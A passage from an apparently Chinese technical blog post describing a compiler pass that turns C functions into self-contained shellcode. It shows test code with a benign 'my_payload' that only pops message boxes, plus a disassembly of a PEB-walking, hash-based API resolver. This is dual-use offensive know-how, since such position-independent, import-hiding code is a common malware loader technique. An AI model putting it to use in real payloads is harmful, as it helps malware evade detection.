class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x80</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">};</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//  调用链 helpers(不加 SHELLCODE_FUNC)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//  这些会被 collectCallChain 拉进来,加 ctx 参数</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [CHAIN-C] 最深层:操作 g_workspace 和 g_counter</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   - 测试 [SHARE]: 同一全局被多个函数引用</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   - 测试 [GV-2]/[GV-4]</span></span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">void</span><span leaf=""> <span class="code-snippet__title">deep_helper</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> idx, </span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> value)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (idx &gt;= <span class="code-snippet__number">0</span> &amp;&amp; idx &lt; (</span><span leaf="">int</span><span leaf="">)<span class="code-snippet__built_in">sizeof</span>(g_workspace)) {</span><span leaf=""><br/></span><span leaf="">        g_workspace[idx] = (</span><span leaf="">unsigned</span><span leaf="">char</span><span leaf="">)value;</span><span leaf=""><br/></span><span leaf="">        g_counter++;                 <span class="code-snippet__comment">// 共享变量</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [CHAIN-B] 中间层:调用 deep_helper,操作 g_header</span></span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">void</span><span leaf=""> <span class="code-snippet__title">mid_helper</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">const</span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> *src, </span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> n)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    g_header.size = (DWORD)n;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">for</span> (</span><span leaf="">int</span><span leaf=""> i = <span class="code-snippet__number">0</span>; i &lt; n &amp;&amp; i &lt; <span class="code-snippet__number">16</span>; i++) {</span><span leaf=""><br/></span><span leaf="">        g_header.tag[i] = src[i];    <span class="code-snippet__comment">// 写结构体字段</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">for</span> (</span><span leaf="">int</span><span leaf=""> i = <span class="code-snippet__number">0</span>; i &lt; n; i++) {</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__built_in">deep_helper</span>(i, src[i]);      <span class="code-snippet__comment">// 链式调用</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [CHAIN-A] 顶层 helper:调用 mid_helper,直接也调用外部 API</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   - 测试 ctx 透传 entry -&gt; A -&gt; B -&gt; C</span></span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">void</span><span leaf=""> <span class="code-snippet__title">top_helper</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">void</span></span><span leaf=""><span class="code-snippet__params">)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    g_flags |= <span class="code-snippet__number">0x80000000</span>;           <span class="code-snippet__comment">// 修改另一个全局</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// 这里调用了外部 API,Pass 应该把它替换成 resolve_api</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">Sleep</span>(<span class="code-snippet__number">10</span>);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// [GV-1] 字符串字面量</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">mid_helper</span>(<span class="code-snippet__string">&#34;ctx_test_payload&#34;</span>, <span class="code-snippet__number">16</span>);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// [GV-6] 函数局部 static</span></span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">int</span><span leaf=""> call_count = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    call_count++;</span><span leaf=""><br/></span><span leaf="">    g_counter += call_count;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//  入口函数</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf="">SHELLCODE_FUNC</span><span leaf=""><br/></span><span leaf="">void</span><span leaf=""> <span class="code-snippet__title">my_payload</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">void</span></span><span leaf=""><span class="code-snippet__params">)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// [GV-1] 字符串字面量</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">LoadLibraryA</span>(<span class="code-snippet__string">&#34;user32.dll&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// 直接读全局</span></span><span leaf=""><br/></span><span leaf="">    g_counter = <span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    g_flags = <span class="code-snippet__number">0xCAFEBABE</span>;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// 调用链</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">top_helper</span>();</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// 用到 g_msg_buf 和 g_key</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">for</span> (</span><span leaf="">int</span><span leaf=""> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">16</span>; i++) {</span><span leaf=""><br/></span><span leaf="">        g_msg_buf[i] = (</span><span leaf="">char</span><span leaf="">)(<span class="code-snippet__string">&#39;A&#39;</span> + (g_key[i] &amp; <span class="code-snippet__number">0x0F</span>));</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    g_msg_buf[<span class="code-snippet__number">16</span>] = <span class="code-snippet__string">&#39;\0&#39;</span>;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// 多次调用同一 API,测 hash 缓存(Pass 不缓存,每次都 resolve,能跑就行)</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">MessageBoxA</span>(<span class="code-snippet__literal">NULL</span>, g_msg_buf, <span class="code-snippet__string">&#34;GVRuntime&#34;</span>, MB_OK);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">MessageBoxA</span>(<span class="code-snippet__literal">NULL</span>, <span class="code-snippet__string">&#34;second box&#34;</span>, <span class="code-snippet__string">&#34;GVRuntime&#34;</span>, MB_OK);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__comment">// 用到 g_header(结构体)和 g_workspace[0]</span></span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (g_header.magic == <span class="code-snippet__number">0xDEADBEEF</span> &amp;&amp; g_workspace[<span class="code-snippet__number">0</span>] != <span class="code-snippet__number">0</span>) {</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__built_in">MessageBoxA</span>(<span class="code-snippet__literal">NULL</span>, <span class="code-snippet__string">&#34;header &amp; workspace OK&#34;</span>, <span class="code-snippet__string">&#34;GVRuntime&#34;</span>, MB_OK);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//  main 不加 SHELLCODE_FUNC,普通编译</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf="">int</span><span leaf=""> <span class="code-snippet__title">main</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">void</span></span><span leaf=""><span class="code-snippet__params">)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__built_in">my_payload</span>();</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdj6w" style="font-size: 15px;">编译过程的GV提取以及优化</span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td5o3" style="font-size: 15px;">运行截图：</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5335260115606937" data-type="webp" data-w="1730" width="788" data-imgfileid="311131180" src="https://wechat2rss.xlab.app/img-proxy/?k=32feb0b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K03fNjJgI05NxAicfeOsh2ZGmqKP5QyMw5cTYumfjVIRS5598D22M6qeTicRbR3OS8oZqMz35y2MmBmKaDZnr5c4dm3WbK2myePM%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td1jkz" style="font-size: 15px;">编译后的函数</span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td1hd8" style="font-size: 15px;">my_payload</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.2313432835820897" data-type="webp" data-w="402" width="788" data-imgfileid="311131176" src="https://wechat2rss.xlab.app/img-proxy/?k=e7586ba2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K08ME6QUP0Yxpy1nVIXT9wVa0iaLGeJnFCS3aOXIqlibyd3CymNbicKo9z38Nbv7MQH3VcSKicscvOGKpgdMz4JTWoHl9ibbQbBljAo%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdfe9" style="font-size: 15px;">我们在这里关注核心的callAPI,看看他会变成什么样</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2808988764044944" data-type="webp" data-w="1335" width="788" data-imgfileid="311131181" src="https://wechat2rss.xlab.app/img-proxy/?k=97a35a49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3fn16omiatFvqKDFicqleeINLU28SicFB6TSECBSkraeTV6ImUp6sedgRYgpcughatoWcctcfda5v4jpSWO7uB68QJFiaHxiauAbjo%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td18g4" style="font-size: 15px;">是正常的call跟进去：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0nq7tdfc"><span leaf="">.text:0000000000401560 resolve_api     proc near               ; CODE XREF: my_payload+27D↓p</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560                                         ; my_payload+30D↓p ...</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_50          = qword ptr -50h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_48          = qword ptr -48h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_40          = qword ptr -40h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_38          = qword ptr -38h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_30          = qword ptr -30h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_28          = qword ptr -28h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_20          = qword ptr -20h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_18          = qword ptr -18h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_10          = qword ptr -10h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560 var_4           = dword ptr -4</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560</span><span leaf=""><br/></span><span leaf="">.text:0000000000401560                 sub     rsp, 78h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401564                 mov     [rsp+78h+var_20], rcx</span><span leaf=""><br/></span><span leaf="">.text:0000000000401569                 mov     [rsp+78h+var_4], 60h ; &#39;`&#39;</span><span leaf=""><br/></span><span leaf="">.text:0000000000401571                 mov     eax, [rsp+78h+var_4]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401575                 mov     rax, gs:[rax]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401579                 mov     [rsp+78h+var_10], rax</span><span leaf=""><br/></span><span leaf="">.text:000000000040157E                 mov     rax, [rsp+78h+var_10]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401583                 mov     [rsp+78h+var_28], rax</span><span leaf=""><br/></span><span leaf="">.text:0000000000401588                 cmp     [rsp+78h+var_28], 0</span><span leaf=""><br/></span><span leaf="">.text:000000000040158E                 jz      loc_4015A4</span><span leaf=""><br/></span><span leaf="">.text:0000000000401594                 mov     rax, [rsp+78h+var_28]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401599                 cmp     qword ptr [rax+18h], 0</span><span leaf=""><br/></span><span leaf="">.text:000000000040159E                 jnz     loc_4015B2</span><span leaf=""><br/></span><span leaf="">.text:00000000004015A4</span><span leaf=""><br/></span><span leaf="">.text:00000000004015A4 loc_4015A4:                             ; CODE XREF: resolve_api+2E↑j</span><span leaf=""><br/></span><span leaf="">.text:00000000004015A4                 mov     [rsp+78h+var_18], 0</span><span leaf=""><br/></span><span leaf="">.text:00000000004015AD                 jmp     loc_401668</span><span leaf=""><br/></span><span leaf="">.text:00000000004015B2 ; ---------------------------------------------------------------------------</span><span leaf=""><br/></span><span leaf="">.text:00000000004015B2</span><span leaf=""><br/></span><span leaf="">.text:00000000004015B2 loc_4015B2:                             ; CODE XREF: resolve_api+3E↑j</span><span leaf=""><br/></span><span leaf="">.text:00000000004015B2                 mov     rax, [rsp+78h+var_28]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015B7                 mov     rax, [rax+18h]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015BB                 add     rax, 20h ; &#39; &#39;</span><span leaf=""><br/></span><span leaf="">.text:00000000004015BF                 mov     [rsp+78h+var_30], rax</span><span leaf=""><br/></span><span leaf="">.text:00000000004015C4                 mov     rax, [rsp+78h+var_30]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015C9                 mov     rax, [rax]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015CC                 mov     [rsp+78h+var_38], rax</span><span leaf=""><br/></span><span leaf="">.text:00000000004015D1</span><span leaf=""><br/></span><span leaf="">.text:00000000004015D1 loc_4015D1:                             ; CODE XREF: resolve_api+FA↓j</span><span leaf=""><br/></span><span leaf="">.text:00000000004015D1                 mov     rax, [rsp+78h+var_38]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015D6                 cmp     rax, [rsp+78h+var_30]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015DB                 jz      loc_40165F</span><span leaf=""><br/></span><span leaf="">.text:00000000004015E1                 mov     rax, [rsp+78h+var_38]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015E6                 xor     ecx, ecx</span><span leaf=""><br/></span><span leaf="">.text:00000000004015E8                 mov     rdx, rcx</span><span leaf=""><br/></span><span leaf="">.text:00000000004015EB                 add     rdx, 10h</span><span leaf=""><br/></span><span leaf="">.text:00000000004015EF                 sub     rcx, rdx</span><span leaf=""><br/></span><span leaf="">.text:00000000004015F2                 add     rax, rcx</span><span leaf=""><br/></span><span leaf="">.text:00000000004015F5                 mov     [rsp+78h+var_40], rax</span><span leaf=""><br/></span><span leaf="">.text:00000000004015FA                 mov     rax, [rsp+78h+var_40]</span><span leaf=""><br/></span><span leaf="">.text:00000000004015FF                 mov     rax, [rax+30h]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401603                 mov     [rsp+78h+var_48], rax</span><span leaf=""><br/></span><span leaf="">.text:0000000000401608                 cmp     [rsp+78h+var_48], 0</span><span leaf=""><br/></span><span leaf="">.text:000000000040160E                 jnz     loc_401619</span><span leaf=""><br/></span><span leaf="">.text:0000000000401614                 jmp     loc_40164D</span><span leaf=""><br/></span><span leaf="">.text:0000000000401619 ; ---------------------------------------------------------------------------</span><span leaf=""><br/></span><span leaf="">.text:0000000000401619</span><span leaf=""><br/></span><span leaf="">.text:0000000000401619 loc_401619:                             ; CODE XREF: resolve_api+AE↑j</span><span leaf=""><br/></span><span leaf="">.text:0000000000401619                 mov     rcx, [rsp+78h+var_48]</span><span leaf=""><br/></span><span leaf="">.text:000000000040161E                 mov     rdx, [rsp+78h+var_20]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401623                 call    scan_module</span><span leaf=""><br/></span><span leaf="">.text:0000000000401628                 mov     [rsp+78h+var_50], rax</span><span leaf=""><br/></span><span leaf="">.text:000000000040162D                 cmp     [rsp+78h+var_50], 0</span><span leaf=""><br/></span><span leaf="">.text:0000000000401633                 jz      loc_401648</span><span leaf=""><br/></span><span leaf="">.text:0000000000401639                 mov     rax, [rsp+78h+var_50]</span><span leaf=""><br/></span><span leaf="">.text:000000000040163E                 mov     [rsp+78h+var_18], rax</span><span leaf=""><br/></span><span leaf="">.text:0000000000401643                 jmp     loc_401668</span><span leaf=""><br/></span><span leaf="">.text:0000000000401648 ; ---------------------------------------------------------------------------</span><span leaf=""><br/></span><span leaf="">.text:0000000000401648</span><span leaf=""><br/></span><span leaf="">.text:0000000000401648 loc_401648:                             ; CODE XREF: resolve_api+D3↑j</span><span leaf=""><br/></span><span leaf="">.text:0000000000401648                 jmp     <span class="code-snippet__variable">$+</span>5</span><span leaf=""><br/></span><span leaf="">.text:000000000040164D ; ---------------------------------------------------------------------------</span><span leaf=""><br/></span><span leaf="">.text:000000000040164D</span><span leaf=""><br/></span><span leaf="">.text:000000000040164D loc_40164D:                             ; CODE XREF: resolve_api+B4↑j</span><span leaf=""><br/></span><span leaf="">.text:000000000040164D                                         ; resolve_api:loc_401648↑j</span><span leaf=""><br/></span><span leaf="">.text:000000000040164D                 mov     rax, [rsp+78h+var_38]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401652                 mov     rax, [rax]</span><span leaf=""><br/></span><span leaf="">.text:0000000000401655                 mov     [rsp+78h+var_38], rax</span><span leaf=""><br/></span><span leaf="">.text:000000000040165A                 jmp     loc_4015D1</span><span leaf=""><br/></span><span leaf="">.text:000000000040165F ; ---------------------------------------------------------------------------</span><span leaf=""><br/></span><span leaf="">.text:000000000040165F</span><span leaf=""><br/></span><span leaf="">.text:000000000040165F loc_40165F:                             ; CODE XREF: resolve_api+7B↑j</span><span leaf=""><br/></span><span leaf="">.text:000000000040165F                 mov     [rsp+78h+var_18], 0</span><span leaf=""><br/></span><span leaf="">.text:0000000000401668</span><span leaf=""><br/></span><span leaf="">.text:0000000000401668 loc_401668:                             ; CODE XREF: resolve_api+4D↑j</span><span leaf=""><br/></span><span leaf="">.text:0000000000401668                                         ; resolve_api+E3↑j</span><span leaf=""><br/></span><span leaf="">.text:0000000000401668                 mov     rax, [rsp+78h+var_18]</span><span leaf=""><br/></span><span leaf="">.text:000000000040166D                 add     rsp, 78h</span><span leaf=""><br/></span><span leaf="">.text:0000000000401671                 retn</span><span leaf=""><br/></span><span leaf="">.text:0000000000401671 resolve_api     endp</span></code></pre></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td19vg" style="font-size: 15px;">其他的都是如此都已经完全自包含了，里面调用的scan_model由于论坛的最大字符上限我用图片粘贴出来。</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5949895615866388" data-type="webp" data-w="1437" width="788" data-imgfileid="311131185" src="https://wechat2rss.xlab.app/img-proxy/?k=f9ce9be7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1T2IkcEUypq3eTVRfWibHzIHE0RSgUre78GH4Luiaryz1rsZeCUlm4AyrEicNjmHYK1YHza8DVuBuUfvmtPyA7aegKhFmzHNn5ok%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.604602510460251" data-type="webp" data-w="1434" width="788" data-imgfileid="311131184" src="https://wechat2rss.xlab.app/img-proxy/?k=158b3bb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K06KhN4iaHCfxQN1S3Gl0ZAPVz6gRlX5W5rz9icBm8D3FVE7wogddS4qMHBOwzhKJPia5cptEGeGpL2SbcCLhoA15Pr6mTXdZ5wPU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6817102137767221" data-type="webp" data-w="1263" width="788" data-imgfileid="311131183" src="https://wechat2rss.xlab.app/img-proxy/?k=681f2c41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2FlyaqNAvyMKV2ynjRS4v1ymKV8Tafa1aFuc5rp5y7EcvU8CBSXZ3e0a8mR2HPeKazGeIBFibOpMDaP8iaCqANiaCtEooAuM46uc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5581947743467933" data-type="webp" data-w="1263" width="788" data-imgfileid="311131182" src="https://wechat2rss.xlab.app/img-proxy/?k=b0ee3040&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3avUk0yWvl0AibYxEYeAcOX3hrJbbOvvk54U8WeFD5ydhgqylznrOv3jH7y8LqGYNMAVy8gBUT4DSPF2z3Vvcg1LfPet3tgl2s%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdi5j" style="font-size: 15px;">经过透传后的hash函数：</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.649923896499239" data-type="webp" data-w="1314" width="788" data-imgfileid="311131188" src="https://wechat2rss.xlab.app/img-proxy/?k=e444415a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2l6gRp9v6PylibdKAhBNam2unlo8uolMibfRDgfnSkUW9Td7CDgfBrvscrJ1P68M9ffBgjZ27cT9VfrPA0jK7pWCtDk9InBk5tU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td1a4f" style="font-size: 15px;">forward：</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5686728395061729" data-type="webp" data-w="1296" width="788" data-imgfileid="311131187" src="https://wechat2rss.xlab.app/img-proxy/?k=a56ec70f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K14NNyaKJy5Iyd2lumDibwfJuOMJbWEdnvR08Uwwklq2FibfRYfZgYibTOAezZZZdXZTNrd7BcVkF5eqs7xgTib0IjRzicznTSobRr8%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.631578947368421" data-type="webp" data-w="1368" width="788" data-imgfileid="311131186" src="https://wechat2rss.xlab.app/img-proxy/?k=9a498d26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K16QKv77yiaRfzrribtfEdyElePdgP0ibl1yVEZLe2eNbwM03icJJv5R2Ag1PfaZmTb5r3levJlUsAR9czHaQWfQkaqicJjK5sX6WPk%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4367491166077738" data-type="webp" data-w="1415" width="788" data-imgfileid="311131190" src="https://wechat2rss.xlab.app/img-proxy/?k=03dc9ff8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0pvHIAhibKZVPBrf9n6zvaiaTBeu2FXr8th4HO5gY2BsdWcsiars6UH1Dqkue0eAZxvcDQqw3545xUzQSeW8hLPSUA3XbibTUUOX4%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td1e3b" style="font-size: 15px;">可以看到在全部调用中没有出现任何的影响自包含性的代码出现，所以可以直接抠出来当成shellcode使用。</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.553125" data-type="webp" data-w="1920" width="788" data-imgfileid="311131189" src="https://wechat2rss.xlab.app/img-proxy/?k=2320e2b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1G5Iu7soY37S9NP9JWOdRjuewI9s1qLMKGjjIAuxziakrtjtyzjicu2taA9oiauEkloVe8Gjpd3sicFLfRoJicssYDnV0MMiauPgwfM%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdu13" style="font-size: 15px;">本文所提到的技术不能用于非法用途，请各位读者自重，如果发生任何违法犯罪事件与本作者无关。</span></p><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="220" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" 